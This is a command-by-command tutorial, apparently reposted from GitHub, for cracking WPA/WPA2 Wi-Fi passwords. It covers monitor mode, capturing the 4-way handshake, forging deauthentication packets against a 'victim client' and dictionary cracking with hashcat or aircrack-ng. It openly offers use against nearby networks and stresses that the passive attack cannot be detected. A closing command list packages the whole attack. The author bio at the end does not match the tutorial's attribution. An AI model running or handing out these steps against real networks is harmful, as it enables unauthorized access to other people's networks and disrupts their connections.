This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network’s security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don’t actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.
If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom. This tutorial is also posted on GitHub. Read it there for the most up-t0-date version and BASH syntax highlighting.
DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don’t be a dick.
Getting Started
This tutorial assumes that you:
- Have a general comfortability using the command-line
- Are running a debian-based linux distro (preferably Kali linux)
- Have Aircrack-ng installed (
sudo apt-get install aircrack-ng) - Have a wireless card that supports monitor mode (I recommend this one. See here for more info.)
Cracking a Wi-Fi Network
Monitor Mode
Begin by listing wireless interfaces that support monitor mode with:
airmon-ng
If you do not see an interface listed then your wireless card does not support monitor mode ?
We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:
airmon-ng start wlan0
Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon).
Find Your Target
Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:
airodump-ng mon0
You should see output similar to what is below.
CH 13 ][ Elapsed: 52 s ][ 2017–07–23 15:49 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests 14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8 14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0> 14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro 9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme 00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin’s Awesome 06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2 78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2 9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
For the purposes of this demo, we will choose to crack the password of my network, “hackme”. Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step.
Capture a 4-way Handshake
WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don’t have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.
# replace -c and — bssid values with the values of your target network # -w specifies the directory where we will save the packet capture airodump-ng -c 3 — bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017–07–23 16:09 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Now we wait… Once you’ve captured a handshake, you should see something like [ WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time.
If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake. See the deauth attack section below for info on this.
Once you’ve captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack:
mv ./-01.cap hackme.cap
Crack the Network Password
The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using hashcat for password cracking. I’ve created a simple tool that makes hashcat super easy to use called naive-hashcat. If you don’t have access to a GPU, there are various online GPU cracking services that you can use, like GPUHASH.me or OnlineHashCrack. You can also try your hand at CPU cracking with Aircrack-ng.
Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the Probable-Wordlists WPA-length dictionary files.
Cracking With naive-hashcat (recommended)
Before we can crack the password using naive-hashcat, we need to convert our .cap file to the equivalent hashcat file format .hccapx. You can do this easily by either uploading the .cap file to https://hashcat.net/cap2hccapx/or using the cap2hccapx tool directly.
cap2hccapx.bin hackme.cap hackme.hccapx
Next, download and run naive-hashcat:
# download git clone https://github.com/brannondorsey/naive-hashcat cd naive-hashcat
# download the 134MB rockyou dictionary file curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack ! baby ! crack ! # 2500 is the hashcat hash mode for WPA/WPA2 HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat uses various dictionary, rule, combination, and mask (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically. Once you’ve cracked the password, you should see something like this as the contents of your POT_FILE:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
Where the last two fields separated by : are the network name and password respectively.
If you would like to use hashcat without naive-hashcat see this page for info.
Cracking With Aircrack-ng
Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file:
# download the 134MB rockyou dictionary file curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Note, that if the network password is not in the wordlist you will not crack the password.
# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
If the password is cracked you will see a KEY FOUND! message in the terminal followed by the plain text version of the network password.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Deauth Attack
A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake “sender” addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng.
Use airodump-ng to monitor a specific access point (using -c channel --bssid MAC) until you see a client (STATION) connected. A connected client look something like this, where is 64:BC:0C:48:97:F7 the client MAC.
CH 6 ][ Elapsed: 2 mins ][ 2017–07–23 19:15 ] BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS BSSID STATION PWR Rate Lost Frames Probe 9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Now, leave airodump-ng running and open a new terminal. We will use the aireplay-ng command to send fake deauth packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process.
# -0 2 specifies we would like to send 2 deauth packets. Increase this number # if need be with the risk of noticably interrupting client network activity # -a is the MAC of the access point # -c is the MAC of the client aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
You can optionally broadcast deauth packets to all connected clients with:
# not all clients respect broadcast deauths though aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
Once you’ve sent the deauth packets, head back over to your airodump-ngprocess, and with any luck you should now see something like this at the top right: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Now that you’ve captured a handshake you should be ready to crack the network password.
List of Commands
Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.
# put your network device into monitor mode airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel airodump-ng mon0
# start listening for the handshake airodump-ng -c 6 — bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# optionally deauth a connected client to force a handshake aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## crack password with aircrack-ng… ##########
# download 134MB rockyou.txt dictionary file if needed curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack w/ aircrack-ng aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## or crack password with naive-hashcat ##########
# convert cap to hccapx cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# crack with naive-hashcat HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Attribution
Much of the information presented here was gleaned from Lewis Encarnacion’s awesome tutorial. Thanks also to the awesome authors and maintainers who work on Aircrack-ng and Hashcat.
Working as a cyber security solutions architect, Alisa focuses on application and network security. Before joining us she held a cyber security researcher positions within a variety of cyber security start-ups. She also experience in different industry domains like finance, healthcare and consumer products.
